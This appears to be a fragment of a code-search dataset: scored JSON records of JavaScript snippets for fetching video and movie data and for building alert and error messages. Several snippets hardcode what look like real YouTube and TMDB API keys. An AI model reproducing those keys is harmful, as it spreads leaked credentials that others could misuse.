uploadSeconds,processSeconds});\n\t\t \t \t}); \t\n\t \t\t}else{\n\t \t\t\t//not ready so check again in 2 seconds.\n\t \t\t\tconsole.log(\"not ready yet\" );\n\t \t\t\tsetTimeout(videoStatus(video),2000);\n\t \t\t}\n\n\t\t\t\n\t\t\t\n\t \t}).catch(function(error) {\n\t \t console.error(error);\n\t \t});;\t\n\t }", "title": "" }, { "docid": "f8f33cc822cd2a93980bc678f0be915f", "score": "0.59052926", "text": "async function getVideoInfo(videoId) {\n console.log('`getVideoInfo` ran');\n\n // Create parameters for API query\n const queryParameters = {\n key: apiInfo.youtube.key,\n part: 'snippet',\n id: videoId,\n };\n \n try {\n // Get video info from YouTube API\n const response = await getApiData(queryParameters, apiInfo.youtube.url.videoInfo);\n const videoInfo = await response.json();\n\n // Get relevant info about video\n const videoTitle = videoInfo.items[0].snippet.title;\n const videoDesc = videoInfo.items[0].snippet.description;\n const videoThumbUrl = videoInfo.items[0].snippet.thumbnails.high.url;\n\n return {\n title: videoTitle,\n desc: videoDesc,\n thumbUrl: videoThumbUrl,\n };\n }\n catch {\n return {\n title: 'Video Unavailable',\n }\n }\n}", "title": "" }, { "docid": "4e741d180288e59e27617dbb52af3a7f", "score": "0.5903501", "text": "function movieDetails(baseURL, id) {\n const params = {\n 'language': 'pt-BR',\n 'append_to_response': 'videos',\n }\n const movieDetailsURL = generateValidURL(baseURL, `movie/${id}`, params);\n return fetch(movieDetailsURL); \n}", "title": "" }, { "docid": "c209e91d44ae5e5b4e1d32a72262af45", "score": "0.5898373", "text": "function start() {\n let id = window.location.pathname.match(/(?<=watch\\/)(.*)/g);\n if(id === null) return;\n fetch(`https://www.netflix.com/api/shakti/vc1c06d28/metadata?movieid=${id[0]}`, {\n credentials: 'include'\n })\n .then((resp)=>{\n return resp.json();\n })\n .then((jsonObj)=>{\n sendMDBRequest(jsonObj.video.title, jsonObj.video.type === 'movie' ? 'movie' : 'tv');\n });\n}", "title": "" }, { "docid": "8d6f9f42335b4827ddbdfd62df60371b", "score": "0.5897261", "text": "function getMovie(movie) {\n\n\n return $http({\n method: 'GET',\n url: 'http://www.omdbapi.com/',\n params: {\n // key: bd265802;\n S: movie\n },\n }).then(function(response) {\n return response;\n }, function(error) {\n console.log(error);\n return error;\n });\n }", "title": "" }, { "docid": "300ab2e860e6449b823d48edcf0cbd74", "score": "0.58909017", "text": "_getVideo(req, res, next){\n if (!req.params.id) {\n var err = new Error();\n err.status = 422;\n err.message = 'video Id is empty!';\n return next(err);\n }\n\n Video.findById(req.params.id, function (err, video) {\n if (err) return next(err);\n\n if (!video) {\n let error = new Error();\n error.message = 'not found';\n error.status = 401;\n return next(error);\n }\n\n res.send(video);\n });\n }", "title": "" }, { "docid": "5eabfe0b343c7a2eb662efd9f8002a17", "score": "0.5885635", "text": "async function getVideoTrack() {\n try {\n let constraints = {\n audio: false,\n video: true,\n };\n\n let stream = await navigator.mediaDevices.getUserMedia(constraints);\n let videoTrack = stream.getVideoTracks()[0];\n\n return videoTrack;\n } catch (error) {\n console.error(error);\n }\n}", "title": "" }, { "docid": "4a543fe75e8af79c22098fe42387a65d", "score": "0.58853537", "text": "get Video() { return Video }", "title": "" }, { "docid": "9b02e1fb0665be9d699e1ea68d03ca15", "score": "0.58840305", "text": "function openTheVideo(session){\n // INITIATING THE VIDEO CARD WITH VIDEO //\n var videoCard = new builder.VideoCard(session)\n .title(\"Material Management Tutorial\") //Title Of The Video\n .media([\n { url: __dirname + \"/Material Management_v1.0.mp4\"} //path of the Video File\n ]);\n var response = new builder.Message(session).addAttachment(videoCard);\n session.send(response);\n}", "title": "" }, { "docid": "39d07e7128bd4d3a0bc5e49479e02593", "score": "0.58764327", "text": "function getYoutubeVideo(url, successCallback, errorCallback) {\n // The url argument comes to us from the chrome code in\n // b2g/components/YoutubeProtocolHandler.js (via the activities code in\n // b2g/chrome/content/shell.js). The URL will look something like this:\n // vnd.youtube:///iNuKL2Gy_QM?vndapp=youtube_mobile&vndclient=mv-google&...\n // Note that there is no hostname. We ignore the query parameters, and\n // only care about the pathname which is the Youtube ID of the video\n // we want to play\n var videoId = url.slice(15, url.indexOf('?'));\n var query = 'http://www.youtube.com/get_video_info?&video_id=' + videoId;\n\n var request = new XMLHttpRequest({ mozSystem: true, mozAnon: true });\n request.open('GET', query);\n request.onerror = function() {\n console.error('error while querying', query);\n errorCallback();\n };\n request.onload = function() {\n if (request.status !== 200) {\n console.error('Youtube query return status', request.status, query);\n errorCallback();\n return;\n }\n\n try {\n var info = parseYoutubeVideoInfo(request.responseText);\n }\n catch (e) {\n console.error('error parsing youtube query response:', e);\n errorCallback();\n return;\n }\n\n // If there was an error, display the message that youtube sent.\n // This happens when a video can't be played for copyright reasons.\n // Hopefully the message will be localized.\n if (info.errorcode) {\n errorCallback(info.reason);\n return;\n }\n\n // Finally, if everything worked, pass the url and title to the callback\n successCallback(info.url, info.title);\n };\n request.send();\n\n //\n // Parse the response from a youtube get_video_info query.\n //\n // If youtube's response is a failure, this function returns an object\n // with status, errorcode, type and reason properties. Otherwise, it returns\n // an object with status, url, and type properties, and optional\n // title, poster, and duration properties.\n //\n function parseYoutubeVideoInfo(response) {\n // Splits parameters in a query string.\n function extractParameters(q) {\n var params = q.split('&');\n var result = {};\n for (var i = 0, n = params.length; i < n; i++) {\n var param = params[i];\n var pos = param.indexOf('=');\n if (pos === -1)\n continue;\n var name = param.substring(0, pos);\n var value = param.substring(pos + 1);\n result[name] = decodeURIComponent(value);\n }\n return result;\n }\n\n var params = extractParameters(response);\n\n // If the request failed, return an object with an error code\n // and an error message\n if (params.status === 'fail') {\n //\n // Hopefully this error message will be properly localized.\n // Do we need to add any parameters to the XMLHttpRequest to\n // specify the language we want?\n //\n // Note that we include fake type and url properties in the returned\n // object. This is because we still need to trigger the video app's\n // view activity handler to display the error message from youtube,\n // and those parameters are required.\n //\n return {\n status: params.status,\n errorcode: params.errorcode,\n reason: (params.reason || '').replace(/\\+/g, ' ')\n };\n }\n\n // Otherwise, the query was successful\n var result = {\n status: params.status\n };\n\n // Now parse the available streams\n var streamsText = params.url_encoded_fmt_stream_map;\n if (!streamsText)\n throw Error('No url_encoded_fmt_stream_map parameter');\n var streams = streamsText.split(',');\n for (var i = 0, n = streams.length; i < n; i++) {\n streams[i] = extractParameters(streams[i]);\n }\n\n // This is the list of youtube video formats, ordered from worst\n // (but playable) to best. These numbers are values used as the\n // itag parameter of each stream description. See\n // https://en.wikipedia.org/wiki/YouTube#Quality_and_codecs\n //\n // XXX\n // Format 18 is H.264, which we can play on the phone, but probably\n // not on desktop. When this code was all in chrome, we used an #ifdef\n // for to enable H.264 for Gonk only. If we still need to do that, then\n // we can modify YoutubeProtocolHandler.js to send an allow_h264 flag\n // along with the url and type and then honor that flag here.\n // The inclusion of H264 might not break b2g desktop anyway; on that\n // platform, viewing youtube seems to launch an external Quicktime\n // viewer or something.\n //\n var formats = [\n '17', // 144p 3GP\n '36', // 240p 3GP\n '43', // 360p WebM\n '18' // 360p H.264\n ];\n\n // Sort the array of stream descriptions in order of format\n // preference, so that the first item is the most preferred one\n streams.sort(function(a, b) {\n var x = a.itag ? formats.indexOf(a.itag) : -1;\n var y = b.itag ? formats.indexOf(b.itag) : -1;\n return y - x;\n });\n\n var bestStream = streams[0];\n\n // If the best stream is a format we don't support give up.\n if (formats.indexOf(bestStream.itag) === -1)\n throw Error('No supported video formats');\n\n result.url = bestStream.url + '&signature=' + (bestStream.sig || '');\n result.type = bestStream.type;\n // Strip codec information off of the mime type\n if (result.type && result.type.indexOf(';') !== -1) {\n result.type = result.type.split(';', 1)[0];\n }\n\n if (params.title) {\n result.title = params.title.replace(/\\+/g, ' ');\n }\n if (params.length_seconds) {\n result.duration = params.length_seconds;\n }\n if (params.thumbnail_url) {\n result.poster = params.thumbnail_url;\n }\n\n return result;\n }\n\n}", "title": "" }, { "docid": "24fbc83c0809d907206f30ef61694644", "score": "0.58654565", "text": "function show(req, res) {\n db.Video.findById(req.params.videoId, function(err, foundVideo) {\n if(err) { console.log('videosController.show error', err); }\n console.log('videosController.show responding with', foundVideo);\n res.json(foundVideo);\n });\n}", "title": "" }, { "docid": "ebe58ea95b83e46ec177e7a7ee644bef", "score": "0.58536786", "text": "function videosFetch(videos) {\n return {\n type: VIDEOS_FETCH,\n payload: videos\n };\n}", "title": "" }, { "docid": "2cc3c6414b4f3cddd429b420ef7e3c7f", "score": "0.58525777", "text": "function getMediaApi(tipo, inpSearch, whereAppend) {\n var apiBaseUrl = 'https://api.themoviedb.org/3';\n $.ajax({\n url: apiBaseUrl + '/search/' + tipo,\n method: 'GET',\n data: {\n api_key: 'bbf583179ea7e0b62001a8dd43710a73',\n language: 'it-IT',\n query: inpSearch\n },\n success: function (data) {\n var movies = data.results;\n createCard(movies, tipo, whereAppend);\n },\n error: function (err) {\n alert('Ops...Qualcosa è andato storto');\n }\n });\n }", "title": "" }, { "docid": "bb463eda25a88aec16a7dc6a5493ee31", "score": "0.58504623", "text": "function getVideos(req, res){\n \n Video.find(function(err,videos){\n \n if(err){\n res.status(500).send({message: 'Error en la peticion'});\n \n \n }else{\n res.status(200);\n res.json(videos);\n }\n });\n \n }", "title": "" }, { "docid": "64749b5cc0e5b438af432e7b1dad1d5b", "score": "0.5844926", "text": "function getRequest(searchTerm){\n //emptyFullVid(); not sure if I want this behavior!\n emptyThumbnails();\n var params = {\n q: searchTerm,\n part: 'snippet',\n type: 'video',\n videoEmbeddable: true,\n //videoCategoryId:'', https://developers.google.com/youtube/v3/docs/videoCategories/list#parameters\n maxResults:6,\n //add drop=down to chose order parameter\n order:'rating',\n order:'viewCount',\n //parameter default is date\n order:'date',\n key: 'AIzaSyBNqWhJ5DVOzZe4OEavx1-aB1uQTr6KJrA',\n pageToken: nextToken\n };\n\n var url = 'https://www.googleapis.com/youtube/v3/search';\n\n //execute Get request\n $.getJSON(url, params, function(data){\n if (data.items.length === 0) {\n noResults ();\n } else {\n $('.moreResults').show();\n showResults(data.items)\n } \n nextToken = data.nextPageToken;\n });\n}", "title": "" }, { "docid": "6b1ca934bef1e6d86035b5ee598b1df1", "score": "0.58440316", "text": "function getVideos (tab) {\n injectMethod(tab, \"getVideos\", function(response){\n var videos = response.data;\n if(videos && videos.length){\n console.log(\"Videos found: \"+videos.length);\n }\n else{\n console.log(\"No videos found in this page! :(\");\n }\n console.log(videos);\n \n return true;\n });\n console.log(\"Browser action clicked!\");\n}", "title": "" }, { "docid": "86d391be061d3e1fe3d5dcf097ea0df3", "score": "0.58432823", "text": "get video(): ?Video {\n if (this.isVideo) {\n return (this.message: any).video;\n }\n return null;\n }", "title": "" }, { "docid": "ded8abf3b272e5745511ca824854919a", "score": "0.5827928", "text": "async _getVideos(roomId) {\n // get videos of room\n const responseVideos = await videoFunctionByRoomId(\n \"/selectVideosByRoomId\",\n roomId\n );\n return responseVideos;\n }", "title": "" }, { "docid": "e6a39d1e0035e0e27724cef3c50f60f6", "score": "0.58263063", "text": "function initializeVideoStream() {\n StreamService.getVideoStream(optionsVideo);\n }", "title": "" }, { "docid": "d1c5827317712503daae475dca86d8be", "score": "0.58257157", "text": "async function getMovie(cast_in, genre_in, release_year){\n let cast_id = await getCast(cast_in);\n let genre_id = await getGenre(genre_in);\n url = `https://api.themoviedb.org/3/discover/movie?api_key=${api_key}&primary_release_year=${release_year}\n &language=en&sort_by=popularity.desc&with_genres=${genre_id}&with_cast=${cast_id}`\n\n const resp = await fetch(url);\n const movies = await resp.json();\n console.log(movies.results[0]);\n\n return movies;\n}", "title": "" }, { "docid": "e76f3c23244ca8638167b76cab91b2cb", "score": "0.5825384", "text": "async function getMovieByQry(qry) {\n var protocol = (window.location.protocol.indexOf(\"https\") != -1) ? \"https\" : \"http\";\n var api_url = `${protocol}://api.tvmaze.com/search/shows`\n response = await fetch(api_url + \"?q=\" + qry);\n data = await response.json(); \n console.log(data);\n \n return data;\n}", "title": "" }, { "docid": "17b7f551e9adadb897e92fe83f7ea256", "score": "0.58238757", "text": "getVideoCount() {\r\n var headers = {\r\n \"Content-Type\": \"application/x-www-form-urlencoded\"\r\n }\r\n var data = `client_id=${extensionField.config.client_id}&client_secret=${extensionField.config.client_secret}&grant_type=client_credentials`;\r\n var url = extensionField.config.oauthUrl\r\n\r\n return new Promise((resolve, reject) => {\r\n getData({ url: url, headers: headers, method: 'POST', data: data })\r\n .then(function (data) {\r\n return data;\r\n })\r\n .then(function (data) {\r\n var headers = {\r\n \"Authorization\": `Bearer ${data.access_token}`\r\n }\r\n var url = extensionField.config.videocountUrl;\r\n getData({ url: url, headers: headers, method: 'GET' }).then(function (data) {\r\n resolve(data);\r\n })\r\n .catch(function (err) {\r\n throw err\r\n })\r\n })\r\n })\r\n }", "title": "" }, { "docid": "7870ef3b2899d7d89c6d6fa791d70c96", "score": "0.58203465", "text": "function getVideoDevices () {\n return new Promise((resolve, reject) => {\n\n if (window.MediaStreamTrack && window.MediaStreamTrack.getSources) {\n window.MediaStreamTrack.getSources((sources) => {\n // filter out non-video streams\n let videoSources = sources.filter((source) => { return source.kind === 'video' })\n console.log(videoSources)\n\n resolve(videoSources)\n })\n } else {\n resolve([{}])\n }\n\n })\n}", "title": "" }, { "docid": "ce58a08c08519fd49434cfdd305a6621", "score": "0.58198786", "text": "function searchVideo(querry, callback) {\n request(\"https://www.googleapis.com/youtube/v3/search?part=id&type=video&q=\" + encodeURIComponent(querry) + \"&key=\" + yt_token, (err, response, body) => {\n var json = JSON.parse(body);\n callback(json.items[0].id.videoId);\n });\n}", "title": "" }, { "docid": "b3be6da757795e2e0062081a37e10010", "score": "0.5811144", "text": "function getVideo() {\n navigator.mediaDevices.getUserMedia({video: true, audio: false}) //promise returned.\n .then(localMediaStream => {\n console.log(localMediaStream);\n video.src = window.URL.createObjectURL(localMediaStream);\n video.play();\n })\n .catch(err => {\n console.error('oh no!!!', err);\n })\n}", "title": "" }, { "docid": "32afc79b9549f1a474627cb67b2367ac", "score": "0.58090264", "text": "function SendVideo()\n{\n var url = \"/addvideos?title=\" + title + \"&img=\" + img + \"&vid=\" +vid+ \"&plid=\" + plid\n\n HttpRequests(\"POST\", url, null)\n}", "title": "" }, { "docid": "1d0acb015384c1d247234108c24f2a6d", "score": "0.57887006", "text": "function getVideos() {\n\n\tif (listVideos('list')) {\n\t\tvar ids = listVideos('list');\n\t\tconsole.log('videos skipped: ' + ids);\n\n\n\t\tgapi.client.load('youtube', 'v3', function () {\n\t\t\tvar request = gapi.client.youtube.videos.list({\n\t\t\t\tpart: 'snippet',\n\t\t\t\tid: ids,\n\t\t\t\tkey: 'AIzaSyDeAikv_mXaHKvVWc6JG-hqKHZnSMiGfpo'\n\t\t\t});\n\t\t\trequest.execute(function (response) {\n\n\t\t\t\tvar template = $('#listTemplate').html();\n\t\t\t\tvar html = Mustache.to_html(template, response);\n\t\t\t\t$('.videoList').html(html);\n\n\t\t\t\t// console.log(response.result);\n\t\t\t});\n\t\t});\n\n\n\n\t} else {\n\t\t$('.endMessage').html('Thank you for Watching!');\n\t}\n\n\n\n}", "title": "" }, { "docid": "7d687ab90c68523110764ee5891f8957", "score": "0.5787791", "text": "function video(slot) {\n if (slot.params.video) {\n return Object.assign({},\n slot.params.video, // previously supported as bidder param\n slot.mediaTypes && slot.mediaTypes.video ? slot.mediaTypes.video : {}, // params on mediaTypes.video\n {battr: slot.params.battr}\n );\n }\n return null;\n}", "title": "" }, { "docid": "970aa87eddae9351ff119a124d866206", "score": "0.57850295", "text": "function GetFilmstudio () {\n \n fetch(\"https://localhost:44361/api/filmstudio\")\n .then(res => res.json())\n .then(data => console.log(data));\n \n \n }", "title": "" }, { "docid": "d6748aaf8ab66cc75584f3a4cacc86d8", "score": "0.57846445", "text": "function passVideoNotFindFileName()\n{\n var cameraFileName=\"/WeatherViewerLite-2/videos/WeatherViewerCameraVideo/VideoNotFind.mp4\";\n return cameraFileName;\n}", "title": "" }, { "docid": "35e89db773e485ccddbd8936f4815229", "score": "0.5783889", "text": "function getMovie(title){\n return $.getJSON(`https://omdbapi.com?t=${title}&apikey=thewdb`);\n}", "title": "" }, { "docid": "5998bdfaa3b59c1d80cc577ed7988258", "score": "0.5775109", "text": "function getVideo(videoId, callback) {\n pool.connect().then((pool) => {\n pool.request()\n .input('videoId', sql.VarChar, videoId)\n .query('SELECT * FROM [dbo].[videos] AS video INNER JOIN [dbo].[channels] AS channel ON video.author=channel.channelId WHERE videoId=@videoId')\n .then(res => {\n if (res.recordset.length > 0) {\n return callback(res.recordset[0])\n } else {\n return callback(false)\n }\n })\n .catch(err => {\n console.error(err)\n return callback(err)\n })\n })\n}", "title": "" }, { "docid": "3b2eb763eebdcb8913b73da53e4433a8", "score": "0.5767088", "text": "static async getById(movie_id) {\n\t\tconst result = await axios.get(`${BASE_URL}/movie/${movie_id}`, {\n\t\t\tparams: { api_key: API, movie_id, include_image_language: 'en' }\n\t\t});\n\t\tconst film = result.data;\n\t\treturn film;\n\t}", "title": "" }, { "docid": "bdcf9fe84ff37e9b3659e07c0fa7f458", "score": "0.5762123", "text": "function getYouTubeVideoSearchData() {\n var searchTerm = $('#InputYouTubeLink').val();\n\n var request = gapi.client.youtube.search.list({\n type: 'video',\n // videoSyndicated: 'true',\n maxResults: 11,\n q: searchTerm,\n part: 'snippet',\n });\n request.execute(function(response) {\n var str = JSON.stringify(response.result);\n $('#search-raw-data').html('<pre>' + str + '</pre>');\n\n });\n turnYouTubeDataIntoPresentableInformation();\n}", "title": "" } ]
aecd73f33d74915a668c9cd9298b16bc
This convenience funnction returns an alert template, which can be used to present errors to the user.
[ { "docid": "9186a89940ea06954444d3653a0eb9f2", "score": "0.0", "text": "function createAlert(title, description = \"\") {\n let alertString = `<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n <document>\n <alertTemplate>\n <title>${title}</title>\n <description>${description}</description>\n <button>\n <text>OK</text>\n </button>\n </alertTemplate>\n </document>`\n\n const dismiss = function () {\n navigationDocument.dismissModal();\n }\n let alertDoc = new DOMParser().parseFromString(alertString, \"application/xml\");\n alertDoc.addEventListener(\"select\", dismiss)\n alertDoc.addEventListener(\"play\", dismiss)\n return alertDoc\n}", "title": "" } ]
[ { "docid": "edd2d09c590f5b0228697a9d5dee5a02", "score": "0.7120013", "text": "template() {\n return `<div>\n <h4 class=\"alert-title\"></h4>\n <h6 class=\"alert-msg\"></h6>\n <div class=\"alert-body\"></div>\n </div>`;\n }", "title": "" }, { "docid": "af8d4c2f0cdef2cbe04b99e106740ea6", "score": "0.68282986", "text": "function createAlertError(text) {\n $.notify({\n title: '<strong>Error: </strong>',\n message: text\n }, {\n type: 'danger',\n animate: {\n enter: 'animated bounceInDown',\n exit: 'animated bounceOutUp'\n }\n });\n}", "title": "" }, { "docid": "3a8c24eeac25921c95921c01e7505d60", "score": "0.661255", "text": "notice() {\n Error.create(\"alert alert-primary\", this.message)\n }", "title": "" }, { "docid": "3f1a2f13b0c017f6439fc2bffc7d3c56", "score": "0.6449104", "text": "function createErrElement(){\r\n return \"<p>Invalid input detected!</p><br/>\";\r\n }", "title": "" }, { "docid": "36591b00f946e0216837615e5ec89a3c", "score": "0.64163", "text": "show() {\n Error.create(\"alert alert-danger\", this.message)\n }", "title": "" }, { "docid": "32608faeb5a04c1bc2aca61a7108cca3", "score": "0.63762134", "text": "function confirmationTemplate(){\n // Data from the form fields\n const clientId = formData.ClientId;\n const agentId = formData.AgentId;\n const company = formData.Company;\n // Message displayed on pop-up\n var confirmationMessage = 'Please confirm all the information filled is correct.\\nYou are submitting the following \\n\\n' + \n 'Client ID: ' + clientId + '\\n' + \n 'Agent ID:: ' + agentId + '\\n' + \n 'Sending Request To: ' + company + '\\n'\n return confirmationMessage;\n }", "title": "" }, { "docid": "8e3e29309730789972b1c03ccba230e6", "score": "0.63700616", "text": "function createFrmAlert(){\n\tvar $e=$('<p class=\"frmAlert\"></p>')\n\t\t.append('<img src=\"images/incorrect.png\" alt=\"\" class=\"icon\" />')\n\t\t.append('<span class=\"msg\"></span>')\n\t\t.css('display','none');\n\t\n\treturn $e;\n}", "title": "" }, { "docid": "217c080cfe233c3957aa5964e8cab787", "score": "0.6283508", "text": "function generateHtmlAlertError(error){\r\n\tvar htmlError = \" \";\r\n\thtmlError += '<div class=\"alert alert-error\">';\r\n\thtmlError += '<strong>Error! </strong>';\r\n\t$.each(error,function(keyName,valueName){\r\n\t\thtmlError += '<div class=\"item\">';\r\n\t\thtmlError += '<p>';\r\n\t\thtmlError += '<strong>'+keyName+'</strong>';\r\n\t\thtmlError += '</p>';\r\n\t\thtmlError += '<ul>';\r\n\r\n\t\t$.each(valueName,function(keyError,valueError){\r\n\t\t\tif(typeof(valueError) == 'object'){\r\n\t\t\t\thtmlError += '<p>';\r\n \t\t\thtmlError += '<strong>'+keyError+'</strong>';\r\n \t\t\thtmlError += '</p>';\r\n\t\t\t\t$.each(valueError,function(keyListImage,valueListImage){\r\n\t\t\t\t\thtmlError += '<li>';\r\n \t\t\t\thtmlError += valueListImage;\r\n \t\t\t\thtmlError += '</li>';\r\n\t\t\t\t});\r\n\t\t\t}else{\r\n\t\t\t\thtmlError += '<li>';\r\n\t\t\t\thtmlError += valueError;\r\n\t\t\t\thtmlError += '</li>';\r\n\t\t\t}\r\n\t\t});\r\n\t\thtmlError += '</ul>';\r\n\t});\r\n\thtmlError += '</div>';\r\n\treturn htmlError;\r\n}", "title": "" }, { "docid": "6b2bf466bf1f89b04ff431a34afd1076", "score": "0.6276177", "text": "renderError() {\n return this.renderErrorTemplate();\n }", "title": "" }, { "docid": "d3ef830bf7d68369e6f202b50e4ad16d", "score": "0.62237287", "text": "renderAlert(message) {\n if (message) {\n return (\n <div className=\"rp-field-error\">\n <strong>Oops! </strong><span>{message}</span>\n </div>\n );\n }\n }", "title": "" }, { "docid": "c78bb09ffc7784f8d6d2dc3a4eea5ae1", "score": "0.62115264", "text": "function homeTemplate(errorMessage) {\n return `\n <div style=\"position: relative; min-height: 100vh; display: flex; flex-flow: column; align-items: center; justify-content: center;\">\n <h2 style=\"margin: 0;\">Get Newsletter from us from NOW!</h2>\n <p>${errorMessage === null ? '' : errorMessage}</p>\n <form action=\"/\" method=\"POST\" style=\"position: relative; margin-top: 30px; display: flex; flex-flow: column; align-items: center; justify-content: center;\">\n <input type=\"email\" name=\"email\" placeholder=\"Your Email\" required/>\n <button type=\"submit\" style=\"margin-top: 15px;\">Submit</button>\n </form>\n </div>\n`\n}", "title": "" }, { "docid": "03557b6afc5c6855aca7dd345710ef72", "score": "0.6210836", "text": "function e(e){return this.each(function(){var n=t(this),r=n.data(\"bs.alert\");r||n.data(\"bs.alert\",r=new o(this)),\"string\"==typeof e&&r[e].call(n)})}", "title": "" }, { "docid": "347a8253e5ac122720ce5c481794f046", "score": "0.61853456", "text": "function generateAlert(alertType, msg){\n let retStr = `\n <div id=\"addPostsAlert\" class=\"alert alert-${alertType} alert-dismissible fade show\" role=\"alert\">\n ${msg}\n <button type=\"button\" class=\"close\" data-dismiss=\"alert\" aria-label=\"Close\">\n <span aria-hidden=\"true\">&times;</span>\n </button>\n </div>\n `;\n \n return retStr;\n}", "title": "" }, { "docid": "3ca440803cdd3c9481621721f97ed9f7", "score": "0.6178447", "text": "function generate_alert(msg)\n{\n return $('<div></div>').css('position' , 'absolute')\n .attr('id' , 'global_alert')\n .css('z-index' , 8888)\n .css('top' , 0)\n .css('left' , parseInt($(window).width() / 2) - parseInt(parseInt($(window).width() / 3) / 2))\n .css('background-color' , '#ff6347')\n .css('opacity' , 1)\n .css('width' , parseInt($(window).width() / 3))\n .css('height' , 50)\n .css('color' , '#ffffff')\n .css('font-weight' , 'bold')\n .css('text-align' , 'center')\n .css('padding-top' , '20px')\n .css('padding-bottom' , '0px')\n .html(msg)\n .hide();\n}", "title": "" }, { "docid": "b339d4c7f8225740077ec1351f182a91", "score": "0.61717844", "text": "function createAlert(_ref) {\n var containerId = _ref.containerId,\n title = _ref.title,\n message = _ref.message,\n status = _ref.status,\n seconds = _ref.seconds,\n isPermanent = _ref.isPermanent,\n selector = _ref.selector;\n var $title = $('<strong></strong>', {\n text: title || ''\n });\n var $closeButton = $('<a></a>', {\n \"class\": 'close',\n 'data-dismiss': 'alert',\n 'aria-label': 'close',\n html: '&times;'\n });\n var $message = $('<span></span>', {\n text: ' ' + (message || '')\n });\n var $alert = $('<div></div>', {\n \"class\": 'alert alert-' + (status || 'info')\n });\n $alert.append($title).append($message).append($closeButton).appendTo(selector || containerId || 'body');\n\n if (!isPermanent) {\n setTimeout(function () {\n $alert.fadeOut(500, function () {\n $alert.remove();\n });\n }, (seconds || 10) * 1000);\n }\n }", "title": "" }, { "docid": "930fa73bfbbe787896afe7afc8738aaf", "score": "0.6157583", "text": "function showErrorMessage(message){\n var errorMsg = \"\";\n switch(message.status){\n case 401:\n errorMsg = 'Invalid Email/Password';\n break;\n case 403:\n errorMsg = `You don't have permission to perform this action`;\n break;\n case 404:\n errorMsg = 'resource not found.';\n break;\n case 400:\n errorMsg = message.data;\n break;\n default:\n errorMsg = 'something went wrong.';\n break;\n }\n \n swal(\"sorry\" , errorMsg , \"error\" )\n }", "title": "" }, { "docid": "0059c4a9d801b77877fe02eea6a0978a", "score": "0.61559546", "text": "function ErrorAlert({ heading = '', body, severity = 'error', onClose }) {\n return (\n <Alert severity={severity} onClose={onClose}>\n {heading.length > 0 && <AlertTitle>{heading}</AlertTitle>}\n {body}\n </Alert>\n );\n}", "title": "" }, { "docid": "b2380f8728415309ec47d1da125308e4", "score": "0.61482275", "text": "function createEvalErrorAlertDocument() {\n\tconst title = \"Evaluate Scripts Error\";\n\tconst description = [\n\t\t\"There was an error attempting to load Emby\",\n\t\t\"Please try again later or go to https://emby.media/support.html for support\"\n\t].join(\"\\n\\n\");\n\treturn createAlertDocument(title, description);\n}", "title": "" }, { "docid": "2156ac897127786cc23afed8f5e29452", "score": "0.6140038", "text": "errorMessage(message = 'Something went wrong :/', title = 'Error', width = '') {\n return { 'type': 'danger', 'content': message, 'title': title, 'width': width}\n }", "title": "" }, { "docid": "bc4154e3d1856e771ed06e7627410b22", "score": "0.6091444", "text": "function alertMessage(klass,msg){\n const errorMessage = document.createElement(\"p\");\n errorMessage.setAttribute(\"class\", klass);\n errorMessage.innerHTML = msg;\n errorMessage.style.color = \"#FF3D00\";\n \n return errorMessage;\n }", "title": "" }, { "docid": "0b3f2c6c162370c4ec3ab4f37e2c9924", "score": "0.6074319", "text": "function errorHtml(data){\n var success = 'success';\n if (!data.success) {\n success = 'error';\n }\n return '<div class=\"message-'+success+' alert-'+success+'\">'+\n '<div class=\"message\"> <i class=\"icon\"></i> <span>'+data.message+'</span>'+\n '</div>';\n\n }", "title": "" }, { "docid": "4efe42efd5f0f7255b04dde033e7a181", "score": "0.6068974", "text": "function alertMsg(alertType, msg) {\n // Get the template from the DOM (located in base.html)\n var msgTemplate = $('template').html().trim();\n // Create a copy\n var cloneTemplate = $(msgTemplate);\n // Add the alert type to the class - alert type must be a valid Bootstrap\n // class\n cloneTemplate.addClass(alertType);\n // Add the message to the alert - the default stored in the template is\n // \"Alert triggered\"\n cloneTemplate.find('span#js-msg-content').text(msg);\n // Place the alert into the DOM\n cloneTemplate.appendTo('#js-alert-hook');\n }", "title": "" }, { "docid": "8bef8322ca2c7007acaa371fa23e1f65", "score": "0.6053591", "text": "function createAlert(message, type) {\n\n const timestamp = Date.now();\n\n return new Alert({\n message,\n type,\n timestamp\n });\n }", "title": "" }, { "docid": "55e73496aeb591ce59a9cd2450a55183", "score": "0.6014363", "text": "function createAlertItem(x,y,z) {\n\tvar _html = '<div id=\"alert' + x + '\" class=\"alert ' + y +' alert-dismissible fade in\" role=\"alert\">';\n\t_html += '<button type=\"button\" class=\"close\" data-dismiss=\"alert\" aria-label=\"Close\"><span aria-hidden=\"true\" class=\"hubitat cross-lg-bold\"></span></button>';\n\t_html += z;\n\t_html += '</div>';\n\n\treturn(_html);\n}", "title": "" }, { "docid": "3c0ce5a7dc30fa5f88cfd3d89e38e74d", "score": "0.600735", "text": "function successAndErrorAlert(message) {\n const alert = {\n SUCCESS: () => {\n alertDiv.style.display = 'block';\n alertDiv.style.opacity = 1;\n alertDiv.className = \"alert alert-success text-center\";\n alertDiv.innerHTML = `You have successfully added <strong>${formsInput.value}!<i class=\"fas fa-times clickme\"></i></strong>`\n },\n FAILED: () => {\n alertDiv.style.display = 'block';\n alertDiv.style.opacity = 1;\n alertDiv.className = \"alert alert-danger text-center\";\n alertDiv.innerHTML = `<strong>${formsInput.value}</strong> was not found. Try again <i class=\"fas fa-times clickme\"></i>`\n },\n X: () => {\n alertDiv.style.opacity = 0;\n setTimeout(() => {\n alertDiv.style.display = 'none';\n }, 300)\n }\n }\n alert[message]()\n}", "title": "" }, { "docid": "8988cf415abc0515f25b05d005f8ae86", "score": "0.60057825", "text": "function returnErrorMessage() {\n return \"alert alert-danger\";\n}", "title": "" }, { "docid": "c2d35ccfb277553410d520c4941e69b3", "score": "0.59898126", "text": "function errorMessage(type, head, body, location) {\r\n var sign;\r\n var color;\r\n\r\n switch (type) {\r\n case \"warning\":\r\n sign = \"<svg width=\\\"1em\\\" height=\\\"1em\\\" viewBox=\\\"0 0 16 16\\\" class=\\\"bi bi-question-diamond-fill\\\" fill=\\\"currentColor\\\" xmlns=\\\"http://www.w3.org/2000/svg\\\"><path fill-rule=\\\"evenodd\\\" d=\\\"M9.05.435c-.58-.58-1.52-.58-2.1 0L.436 6.95c-.58.58-.58 1.519 0 2.098l6.516 6.516c.58.58 1.519.58 2.098 0l6.516-6.516c.58-.58.58-1.519 0-2.098L9.05.435zM5.495 6.033a.237.237 0 0 1-.24-.247C5.35 4.091 6.737 